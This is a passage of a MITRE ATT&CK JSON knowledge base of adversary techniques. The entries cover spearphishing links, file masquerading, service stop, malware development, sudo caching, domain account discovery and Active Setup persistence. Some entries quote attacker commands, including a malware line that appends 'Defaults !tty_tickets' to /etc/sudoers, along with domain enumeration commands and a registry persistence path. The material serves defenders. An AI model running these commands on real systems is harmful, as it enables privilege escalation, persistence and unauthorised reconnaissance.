            "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
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                    "phase_name": "initial-access"
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            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Linux",
                "Office 365",
                "SaaS"
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            "x_mitre_version": "1.2"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
            "created": "2023-03-08T22:40:06.918Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/008",
                    "external_id": "T1036.008"
                },
                {
                    "source_name": "polygot_icedID",
                    "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
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            "modified": "2026-05-12T15:12:00.622Z",
            "name": "Masquerade File Type",
            "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Ben Smith",
                "CrowdStrike Falcon OverWatch"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                "Windows"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "created": "2019-03-29T19:00:55.901Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1489",
                    "external_id": "T1489"
                },
                {
                    "source_name": "AWS DisableAWSServiceAccess",
                    "description": "AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.",
                    "url": "https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html"
                },
                {
                    "source_name": "SecureWorks WannaCry Analysis",
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
                },
                {
                    "source_name": "Datadog Security Labs Cloud Persistence 2025",
                    "description": "Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.",
                    "url": "https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
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            "name": "Service Stop",
            "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "IaaS",
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.4",
            "x_mitre_impact_type": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "created": "2020-10-01T01:33:01.433Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587/001",
                    "external_id": "T1587.001"
                },
                {
                    "source_name": "Risky Bulletin Threat actor impersonates FSB APT",
                    "description": "Catalin Cimpanu. (2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.",
                    "url": "https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/"
                },
                {
                    "source_name": "ActiveMalwareEnergy",
                    "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
                },
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "GamaCopy organization",
                    "description": "Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military \u2014 related bait to launch attacks on Russia. Retrieved June 14, 2025.",
                    "url": "https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Olympic Destroyer",
                    "description": "Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn\u2019t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.",
                    "url": "https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/"
                },
                {
                    "source_name": "FBI Flash FIN7 USB",
                    "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.",
                    "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"
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            "modified": "2026-05-12T15:12:00.622Z",
            "name": "Malware",
            "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
            "created": "2017-05-31T21:31:33.499Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1121",
                    "external_id": "T1121"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
                },
                {
                    "source_name": "LOLBAS Regasm",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
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            "name": "Regsvcs/Regasm",
            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
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            "x_mitre_domains": [
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            "id": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d",
            "created": "2023-03-28T20:14:49.087Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1652",
                    "external_id": "T1652"
                },
                {
                    "source_name": "lsmod man",
                    "description": "Kerrisk, M. (2022, December 18). lsmod(8) \u2014 Linux manual page. Retrieved March 28, 2023.",
                    "url": "https://man7.org/linux/man-pages/man8/lsmod.8.html"
                },
                {
                    "source_name": "Microsoft Registry Drivers",
                    "description": "Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"
                },
                {
                    "source_name": "Microsoft EnumDeviceDrivers",
                    "description": "Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"
                },
                {
                    "source_name": "Microsoft Driverquery",
                    "description": "Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "modinfo man",
                    "description": "Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.",
                    "url": "https://linux.die.net/man/8/modinfo"
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            "name": "Device Driver Discovery",
            "description": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1206",
                    "external_id": "T1206"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
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            "modified": "2025-10-24T17:48:30.957Z",
            "name": "Sudo Caching",
            "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "created": "2020-02-21T21:08:26.480Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/002",
                    "external_id": "T1087.002"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.622Z",
            "name": "Domain Account",
            "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "ExtraHop",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "created": "2020-12-18T16:33:13.098Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/014",
                    "external_id": "T1547.014"
                },
                {
                    "source_name": "SECURELIST Bright Star 2015",
                    "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
                    "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
                },
                {
                    "source_name": "Mandiant Glyer APT 2010",
                    "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
                    "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Klein Active Setup 2010",
                    "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
                    "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
                },
                {
                    "source_name": "paloalto Tropic Trooper 2016",
                    "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Citizenlab Packrat 2015",
                    "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
                    "url": "https://citizenlab.ca/2015/12/packrat-report/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:48:31.226Z",
            "name": "Active Setup",
            "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "created": "2020-02-26T17:41:25.933Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564",
                    "external_id": "T1564"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                },
                {
                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.623Z",
            "name": "Hide Artifacts",
            "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "macOS",
                "Office Suite",
                "Windows"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "created": "2020-02-12T14:10:50.699Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/002",
                    "external_id": "T1559.002"
                },
                {
                    "source_name": "OWASP CSV Injection",
                    "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
                    "url": "https://owasp.org/www-community/attacks/CSV_Injection"
                },
                {
                    "source_name": "CSV Excel Macro Injection ",
                    "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
                    "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
                },
                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                },
                {
